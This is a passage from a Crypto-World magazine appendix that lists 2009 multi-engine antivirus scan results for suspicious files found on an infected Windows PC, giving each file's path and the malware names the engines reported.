Rising 21.24.44.00 2009.04.10 Trojan.Win32.Nodef.hxj 

Sophos 4.40.0 2009.04.10 Sus/UnkPacker 

Sunbelt 3.2.1858.2 2009.04.10 - 

Symantec 1.4.4.12 2009.04.10 - 

TheHacker 6.3.4.0.305 2009.04.10 - 

TrendMicro 8.700.0.1004 2009.04.10 - 

VBA32 3.12.10.2 2009.04.10 - 

ViRobot 2009.4.10.1688 2009.04.10 - 

VirusBuster 4.6.5.0 2009.04.10 - 

 
./Documents and Settings/Jerry/Local Settings/Temp/1/svchost.exe 
 
./Documents and Settings/Jerry/Local Settings/Temporary Internet Files/Content.IE5/IULGQMP9/1[1].exe 

 
./WINDOWS/system32/wininet.exe 
 

Soubor 1_1_.exe přijatý 2009.04.11 15:44:44 (CET) 

Antivirus Verze Poslední aktualizace Výsledek 

AhnLab-V3 - - - 

AntiVir - - BDS/Backdoor.Gen 

Antiy-AVL - - - 

Authentium - - W32/Heuristic-170!Eldorado 

Avast - - Win32:Small-CHC 

AVG - - BackDoor.Agent.AAHR.dropper 

BitDefender - - Generic.Malware.SYdld!g.BD10F1CA 

CAT-QuickHeal - - Win32.Backdoor.Small.BA.2 

ClamAV - - - 

Comodo - - - 

DrWeb - - Trojan.DownLoader.origin 



Crypto-World 6/2009, příloha 

14 

eSafe - - - 

eTrust-Vet - - - 

F-Prot - - W32/Heuristic-170!Eldorado 

F-Secure - - Trojan-Downloader.Win32.Agent.bqys 

Fortinet - - W32/BDoor.DNU!tr.bdr 

GData - - Generic.Malware.SYdld!g.BD10F1CA 

Ikarus - - Trojan-Dropper.Agent 

K7AntiVirus - - Trojan-Downloader.Win32.Agent.bqys 

Kaspersky - - Trojan-Downloader.Win32.Agent.bqys 

McAfee - - BackDoor-DNU 

McAfee+Artemis - - BackDoor-DNU 

McAfee-GW-Edition - - Trojan.Backdoor.Backdoor.Gen 

Microsoft - - Backdoor:Win32/Syrutrk.A 

NOD32 - - a variant of Win32/Small.NDQ 

Norman - - W32/Malware 

nProtect - - - 

Panda - - Suspicious file 

PCTools - - - 

Prevx1 - - - 

Rising - - Trojan.Win32.Agent.aaa 

Sophos - - Mal/Generic-A 

Sunbelt - - BehavesLike.Win32.Malware (v) 

Symantec - - Infostealer 

TheHacker - - - 

TrendMicro - - - 

VBA32 - - - 

ViRobot - - - 

VirusBuster - - - 

 

./Documents and Settings/Jerry/Local Settings/Temporary Internet Files/Content.IE5/WLTFON68/1[2].exe 
 
./Documents and Settings/Jerry/Local Settings/Temp/2/svchost.exe 
 

Soubor 1_2_.exe přijatý 2009.04.10 23:39:05 (CET) 

Antivirus Verze Poslední Výsledek 
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aktualizace 

a-squared 4.0.0.101 2009.04.10 Trojan.Crypt!IK 

AhnLab-V3 5.0.0.2 2009.04.10 - 

AntiVir 7.9.0.138 2009.04.10 TR/Crypt.XPACK.Gen 

Antiy-AVL 2.0.3.1 2009.04.10 - 

Authentium 5.1.2.4 2009.04.10 - 

Avast 4.8.1335.0 2009.04.10 Win32:Trojan-gen {Other} 

AVG 8.5.0.285 2009.04.10 Generic13.WDQ 

BitDefender 7.2 2009.04.10 - 

CAT-QuickHeal 10.00 2009.04.10 Trojan.Agent.ATV 

ClamAV 0.94.1 2009.04.10 - 

Comodo 1109 2009.04.10 - 

DrWeb 4.44.0.09170 2009.04.10 - 

eSafe 7.0.17.0 2009.04.07 - 

eTrust-Vet 31.6.6448 2009.04.10 - 

F-Prot 4.4.4.56 2009.04.10 - 

F-Secure 8.0.14470.0 2009.04.10 - 

Fortinet 3.117.0.0 2009.04.10 PossibleThreat 

GData 19 2009.04.10 Win32:Trojan-gen {Other} 

Ikarus T3.1.1.49.0 2009.04.10 Trojan.Crypt 

K7AntiVirus 7.10.698 2009.04.09 - 

Kaspersky 7.0.0.125 2009.04.10 - 

McAfee 5580 2009.04.10 - 

McAfee+Artemis 5580 2009.04.10 Generic!Artemis 

McAfee-GW-Edition 6.7.6 2009.04.10 Trojan.Crypt.XPACK.Gen 

Microsoft 1.4502 2009.04.10 Backdoor:Win32/Isnup.B 

NOD32 4000 2009.04.10 a variant of Win32/Isnup 

Norman 6.00.06 2009.04.09 W32/Smalltroj.MZQJ 

nProtect 2009.1.8.0 2009.04.10 - 

Panda 10.0.0.14 2009.04.10 Suspicious file 

PCTools 4.4.2.0 2009.04.08 - 

Prevx1 V2 2009.04.10 Medium Risk Malware 

Rising 21.24.44.00 2009.04.10 Trojan.Win32.Nodef.hwa 

Sophos 4.40.0 2009.04.10 Mal/Generic-A 
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Sunbelt 3.2.1858.2 2009.04.10 - 

Symantec 1.4.4.12 2009.04.10 - 

TheHacker 6.3.4.0.305 2009.04.10 - 

TrendMicro 8.700.0.1004 2009.04.10 - 

VBA32 3.12.10.2 2009.04.10 
suspected of Malware-
Cryptor.Win32.General.3 

ViRobot 2009.4.10.1688 2009.04.10 - 

VirusBuster 4.6.5.0 2009.04.10 - 

 

./Documents and Settings/Jerry/Local Settings/Temporary Internet 
Files/Content.IE5/OCORY4U9/bsofgg[1].exe 
./Documents and Settings/Jerry/Local Settings/Temp/dkdkpo.exe 
 

Soubor bsofgg_1_.exe přijatý 2009.04.10 23:18:21 (CET) 

Antivirus Verze Poslední aktualizace Výsledek 

a-squared 4.0.0.101 2009.04.10 - 

AhnLab-V3 5.0.0.2 2009.04.10 - 

AntiVir 7.9.0.138 2009.04.10 HEUR/Malware 

Antiy-AVL 2.0.3.1 2009.04.10 - 

Authentium 5.1.2.4 2009.04.10 - 

Avast 4.8.1335.0 2009.04.10 - 

AVG 8.5.0.285 2009.04.10 - 

BitDefender 7.2 2009.04.10 - 

CAT-QuickHeal 10.00 2009.04.10 - 

ClamAV 0.94.1 2009.04.10 - 

Comodo 1109 2009.04.10 - 

DrWeb 4.44.0.09170 2009.04.10 - 

eSafe 7.0.17.0 2009.04.07 - 

eTrust-Vet 31.6.6448 2009.04.10 - 

F-Prot 4.4.4.56 2009.04.10 - 

F-Secure 8.0.14470.0 2009.04.10 - 

Fortinet 3.117.0.0 2009.04.10 - 

GData 19 2009.04.10 - 

Ikarus T3.1.1.49.0 2009.04.10 - 

K7AntiVirus 7.10.698 2009.04.09 - 
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Kaspersky 7.0.0.125 2009.04.10 Heur.Downloader 

McAfee 5580 2009.04.10 - 

McAfee+Artemis 5580 2009.04.10 - 

McAfee-GW-Edition 6.7.6 2009.04.10 Heuristic.Malware 

Microsoft 1.4502 2009.04.10 Trojan:Win32/Piptea.F 

NOD32 3999 2009.04.10 - 

Norman 6.00.06 2009.04.09 - 

nProtect 2009.1.8.0 2009.04.10 - 

Panda 10.0.0.14 2009.04.10 - 

PCTools 4.4.2.0 2009.04.08 - 

Prevx1 V2 2009.04.10 High Risk Worm 

Rising 21.24.44.00 2009.04.10 - 

Sophos 4.40.0 2009.04.10 Troj/MDrop-CAX 

Sunbelt 3.2.1858.2 2009.04.10 - 

Symantec 1.4.4.12 2009.04.10 - 

TheHacker 6.3.4.0.305 2009.04.10 - 

TrendMicro 8.700.0.1004 2009.04.10 - 

VBA32 3.12.10.2 2009.04.10 - 

ViRobot 2009.4.10.1688 2009.04.10 - 

VirusBuster 4.6.5.0 2009.04.10 - 

 
./WINDOWS/system32/caadbafded.dll 

Soubor caadbafded.dll přijatý 2009.04.10 23:21:22 (CET) 

Antivirus Verze Poslední aktualizace Výsledek 

a-squared 4.0.0.101 2009.04.10 AdWare.Win32.BHO!IK 

AhnLab-V3 5.0.0.2 2009.04.10 - 

AntiVir 7.9.0.138 2009.04.10 Worm/Autorun.adys 

Antiy-AVL 2.0.3.1 2009.04.10 - 

Authentium 5.1.2.4 2009.04.10 - 

Avast 4.8.1335.0 2009.04.10 - 

AVG 8.5.0.285 2009.04.10 Worm/Generic.YCO 

BitDefender 7.2 2009.04.10 - 

CAT-QuickHeal 10.00 2009.04.10 - 

ClamAV 0.94.1 2009.04.10 - 
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Comodo 1109 2009.04.10 - 

DrWeb 4.44.0.09170 2009.04.10 DLOADER.Trojan 

eSafe 7.0.17.0 2009.04.07 - 

eTrust-Vet 31.6.6448 2009.04.10 - 

F-Prot 4.4.4.56 2009.04.10 - 

F-Secure 8.0.14470.0 2009.04.10 - 

Fortinet 3.117.0.0 2009.04.10 - 

GData 19 2009.04.10 - 

Ikarus T3.1.1.49.0 2009.04.10 AdWare.Win32.BHO 

K7AntiVirus 7.10.698 2009.04.09 - 

Kaspersky 7.0.0.125 2009.04.10 - 

McAfee 5580 2009.04.10 W32/Autorun.worm!hv.b 

McAfee+Artemis 5580 2009.04.10 W32/Autorun.worm!hv.b 

McAfee-GW-Edition 6.7.6 2009.04.10 Worm.Autorun.adys 

Microsoft 1.4502 2009.04.10 Worm:Win32/Swimnag.gen!A.dll 

NOD32 3999 2009.04.10 Win32/AutoRun.Agent.ME 

Norman 6.00.06 2009.04.09 - 

nProtect 2009.1.8.0 2009.04.10 - 

Panda 10.0.0.14 2009.04.10 - 

PCTools 4.4.2.0 2009.04.08 - 

Prevx1 V2 2009.04.10 - 

Rising 21.24.44.00 2009.04.10 - 

Sophos 4.40.0 2009.04.10 - 

Sunbelt 3.2.1858.2 2009.04.10 - 

Symantec 1.4.4.12 2009.04.10 W32.Ackpra.A 

TheHacker 6.3.4.0.305 2009.04.10 - 

TrendMicro 8.700.0.1004 2009.04.10 - 

VBA32 3.12.10.2 2009.04.10 - 

ViRobot 2009.4.10.1688 2009.04.10 - 

VirusBuster 4.6.5.0 2009.04.10 - 

 
./Documents and Settings/Jerry/Local Settings/Temp/~tt1.tmp 
 
./Documents and Settings/Jerry/Local Settings/Temporary Internet Files/Content.IE5/WLTFON68/load[1].exe 
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./Program Files/Outlook Express/wab.exe.tmp 

 
./System Volume Information/_restore{AAA6EB99-605D-4CF0-8A88-99763CADA07B}/RP2/A0000055.exe 
 

Soubor load_1_.exe přijatý 2009.04.10 23:23:19 (CET) 

Antivirus Verze 
Poslední 

aktualizace 
Výsledek 

a-squared 4.0.0.101 2009.04.10 - 

AhnLab-V3 5.0.0.2 2009.04.10 - 

AntiVir 7.9.0.138 2009.04.10 - 

Antiy-AVL 2.0.3.1 2009.04.10 - 

Authentium 5.1.2.4 2009.04.10 - 

Avast 4.8.1335.0 2009.04.10 - 

AVG 8.5.0.285 2009.04.10 - 

BitDefender 7.2 2009.04.10 - 

CAT-QuickHeal 10.00 2009.04.10 - 

ClamAV 0.94.1 2009.04.10 - 

Comodo 1109 2009.04.10 - 

DrWeb 4.44.0.09170 2009.04.10 Trojan.DownLoad.34668 

eSafe 7.0.17.0 2009.04.07 Suspicious File 

eTrust-Vet 31.6.6448 2009.04.10 - 

F-Prot 4.4.4.56 2009.04.10 - 

Fortinet 3.117.0.0 2009.04.10 - 

GData 19 2009.04.10 - 

Ikarus T3.1.1.49.0 2009.04.10 - 

K7AntiVirus 7.10.698 2009.04.09 - 

Kaspersky 7.0.0.125 2009.04.10 - 

McAfee 5580 2009.04.10 - 

McAfee+Artemis 5580 2009.04.10 Generic!Artemis 

McAfee-GW-Edition 6.7.6 2009.04.10 - 

Microsoft 1.4502 2009.04.10 TrojanDownloader:Win32/Tiltee.B 

NOD32 3999 2009.04.10 
a variant of 
Win32/TrojanDownloader.Agent.OXA 

Norman 6.00.06 2009.04.09 - 

nProtect 2009.1.8.0 2009.04.10 - 
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Panda 10.0.0.14 2009.04.10 Suspicious file 

PCTools 4.4.2.0 2009.04.08 - 

Prevx1 V2 2009.04.10 - 

Rising 21.24.44.00 2009.04.10 - 

Sophos 4.40.0 2009.04.10 - 

Sunbelt 3.2.1858.2 2009.04.10 - 

Symantec 1.4.4.12 2009.04.10 - 

TheHacker 6.3.4.0.305 2009.04.10 - 

TrendMicro 8.700.0.1004 2009.04.10 PAK_Generic.001 

VBA32 3.12.10.2 2009.04.10 
suspected of Win32.Trojan.Downloader 
(http://...) 

ViRobot 2009.4.10.1688 2009.04.10 - 

VirusBuster 4.6.5.0 2009.04.10 - 

 
./WINDOWS/system32/rundll32.exe 

Soubor rundll32.exe přijatý 2009.04.10 23:26:43 (CET) 

Antivirus Verze Poslední aktualizace Výsledek 

a-squared 4.0.0.101 2009.04.10 Virus.Win32.Virut!IK 

AhnLab-V3 5.0.0.2 2009.04.10 - 

AntiVir 7.9.0.138 2009.04.10 HEUR/Malware 

Antiy-AVL 2.0.3.1 2009.04.10 - 

Authentium 5.1.2.4 2009.04.10 - 

Avast 4.8.1335.0 2009.04.10 - 

AVG 8.5.0.285 2009.04.10 - 

BitDefender 7.2 2009.04.10 
Gen:Malware.Heur.3004FBEB
EB 

CAT-QuickHeal 10.00 2009.04.10 - 

ClamAV 0.94.1 2009.04.10 - 

Comodo 1109 2009.04.10 - 

DrWeb 4.44.0.09170 2009.04.10 Win32.Virut.56 

eSafe 7.0.17.0 2009.04.07 - 

eTrust-Vet 31.6.6448 2009.04.10 - 

F-Prot 4.4.4.56 2009.04.10 - 

F-Secure 8.0.14470.0 2009.04.10 - 

Fortinet 3.117.0.0 2009.04.10 W32/Virut.CE 
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GData 19 2009.04.10 
Gen:Malware.Heur.3004FBEB

EB 

Ikarus T3.1.1.49.0 2009.04.10 Virus.Win32.Virut 

K7AntiVirus 7.10.698 2009.04.09 - 

Kaspersky 7.0.0.125 2009.04.10 - 

McAfee 5580 2009.04.10 New Win32.g4 

McAfee+Artemis 5580 2009.04.10 New Win32.g4 

McAfee-GW-Edition 6.7.6 2009.04.10 Heuristic.Malware 

Microsoft 1.4502 2009.04.10 - 

NOD32 3999 2009.04.10 Win32/Virut.NBM 

Norman 6.00.06 2009.04.09 - 

nProtect 2009.1.8.0 2009.04.10 - 

Panda 10.0.0.14 2009.04.10 - 

PCTools 4.4.2.0 2009.04.08 - 

Prevx1 V2 2009.04.10 - 

Rising 21.24.44.00 2009.04.10 - 

Sophos 4.40.0 2009.04.10 - 

Sunbelt 3.2.1858.2 2009.04.10 - 

Symantec 1.4.4.12 2009.04.10 W32.Virut.CF 

TheHacker 6.3.4.0.305 2009.04.10 - 

TrendMicro 8.700.0.1004 2009.04.10 PE_VIRUX.F-1 

VBA32 3.12.10.2 2009.04.10 - 

ViRobot 2009.4.10.1688 2009.04.10 Win32.Virut.AL 

VirusBuster 4.6.5.0 2009.04.10 Win32.Virut.Y.Gen 

 
./WINDOWS/system32/svshost.dll 

Soubor svshost.dll přijatý 2009.04.10 23:29:19 (CET) 

Antivirus Verze 
Poslední 
aktualizace 

Výsledek 

a-squared 4.0.0.101 2009.04.10 - 

AhnLab-V3 5.0.0.2 2009.04.10 - 

AntiVir 7.9.0.138 2009.04.10 - 

Antiy-AVL 2.0.3.1 2009.04.10 - 

Authentium 5.1.2.4 2009.04.10 - 

Avast 4.8.1335.0 2009.04.10 Win32:Small-CHC 



Crypto-World 6/2009, příloha 

22 

AVG 8.5.0.285 2009.04.10 BackDoor.Agent.AAHR 

BitDefender 7.2 2009.04.10 - 

CAT-QuickHeal 10.00 2009.04.10 Backdoor.Syrutrk.b 

ClamAV 0.94.1 2009.04.10 - 

Comodo 1109 2009.04.10 - 

DrWeb 4.44.0.09170 2009.04.10 - 

eSafe 7.0.17.0 2009.04.07 - 

eTrust-Vet 31.6.6448 2009.04.10 - 

F-Prot 4.4.4.56 2009.04.10 - 

F-Secure 8.0.14470.0 2009.04.10 Trojan-Downloader.Win32.Murlo.ama 

Fortinet 3.117.0.0 2009.04.10 W32/BDoor.DNU!tr.bdr 

GData 19 2009.04.10 Win32:Small-CHC  

Ikarus T3.1.1.49.0 2009.04.10 - 

K7AntiVirus 7.10.698 2009.04.09 - 

Kaspersky 7.0.0.125 2009.04.10 Trojan-Downloader.Win32.Murlo.ama 

McAfee 5580 2009.04.10 BackDoor-DNU 

McAfee+Artemis 5580 2009.04.10 BackDoor-DNU 

McAfee-GW-Edition 6.7.6 2009.04.10 - 

Microsoft 1.4502 2009.04.10 Backdoor:Win32/Syrutrk.B 

NOD32 3999 2009.04.10 - 

Norman 6.00.06 2009.04.09 - 

nProtect 2009.1.8.0 2009.04.10 - 

Panda 10.0.0.14 2009.04.10 Suspicious file 

Prevx1 V2 2009.04.10 Medium Risk Malware 

Rising 21.24.44.00 2009.04.10 Trojan.Win32.Agent.aaa 

Sophos 4.40.0 2009.04.10 Mal/Generic-A 

Sunbelt 3.2.1858.2 2009.04.10 - 

Symantec 1.4.4.12 2009.04.10 - 

TheHacker 6.3.4.0.305 2009.04.10 - 

TrendMicro 8.700.0.1004 2009.04.10 - 

VBA32 3.12.10.2 2009.04.10 - 

ViRobot 2009.4.10.1688 2009.04.10 - 

VirusBuster 4.6.5.0 2009.04.10 - 
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./WINDOWS/system32/wininet.exe 

Soubor wininet.exe přijatý 2009.04.10 23:33:17 (CET) 

Antivirus Verze 
Poslední 
aktualizace 

Výsledek 

a-squared 4.0.0.101 2009.04.10 - 

AhnLab-V3 5.0.0.2 2009.04.10 - 

AntiVir 7.9.0.138 2009.04.10 BDS/Backdoor.Gen 

Antiy-AVL 2.0.3.1 2009.04.10 - 

Authentium 5.1.2.4 2009.04.10 W32/Heuristic-170!Eldorado 

Avast 4.8.1335.0 2009.04.10 Win32:Small-CHC 

AVG 8.5.0.285 2009.04.10 BackDoor.Agent.AAHR.dropper 

BitDefender 7.2 2009.04.10 Generic.Malware.SYdld!g.BD10F1CA 

CAT-QuickHeal 10.00 2009.04.10 Win32.Backdoor.Small.BA.2 

ClamAV 0.94.1 2009.04.10 - 

Comodo 1109 2009.04.10 - 

DrWeb 4.44.0.09170 2009.04.10 Trojan.DownLoader.origin 

eSafe 7.0.17.0 2009.04.07 - 

eTrust-Vet 31.6.6448 2009.04.10 - 

F-Prot 4.4.4.56 2009.04.10 W32/Heuristic-170!Eldorado 

F-Secure 8.0.14470.0 2009.04.10 W32/Malware 

Fortinet 3.117.0.0 2009.04.10 - 

GData 19 2009.04.10 Generic.Malware.SYdld!g.BD10F1CA 

Ikarus T3.1.1.49.0 2009.04.10 - 

K7AntiVirus 7.10.698 2009.04.09 - 

Kaspersky 7.0.0.125 2009.04.10 Trojan-Downloader.Win32.Agent.bqys 

McAfee 5580 2009.04.10 BackDoor-DNU 

McAfee+Artemis 5580 2009.04.10 BackDoor-DNU 

McAfee-GW-Edition 6.7.6 2009.04.10 Trojan.Backdoor.Backdoor.Gen 

Microsoft 1.4502 2009.04.10 Backdoor:Win32/Syrutrk.A 

NOD32 4000 2009.04.10 a variant of Win32/Small.NDQ 

Norman 6.00.06 2009.04.09 W32/Malware 

nProtect 2009.1.8.0 2009.04.10 - 

Panda 10.0.0.14 2009.04.10 Suspicious file 

PCTools 4.4.2.0 2009.04.08 - 
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Prevx1 V2 2009.04.10 - 

Rising 21.24.44.00 2009.04.10 Trojan.Win32.Agent.aaa 

Sophos 4.40.0 2009.04.10 Mal/Generic-A 

Sunbelt 3.2.1858.2 2009.04.10 BehavesLike.Win32.Malware (v) 

Symantec 1.4.4.12 2009.04.10 Infostealer 

TheHacker 6.3.4.0.305 2009.04.10 - 

TrendMicro 8.700.0.1004 2009.04.10 - 

VBA32 3.12.10.2 2009.04.10 - 

ViRobot 2009.4.10.1688 2009.04.10 - 

VirusBuster 4.6.5.0 2009.04.10 - 

 


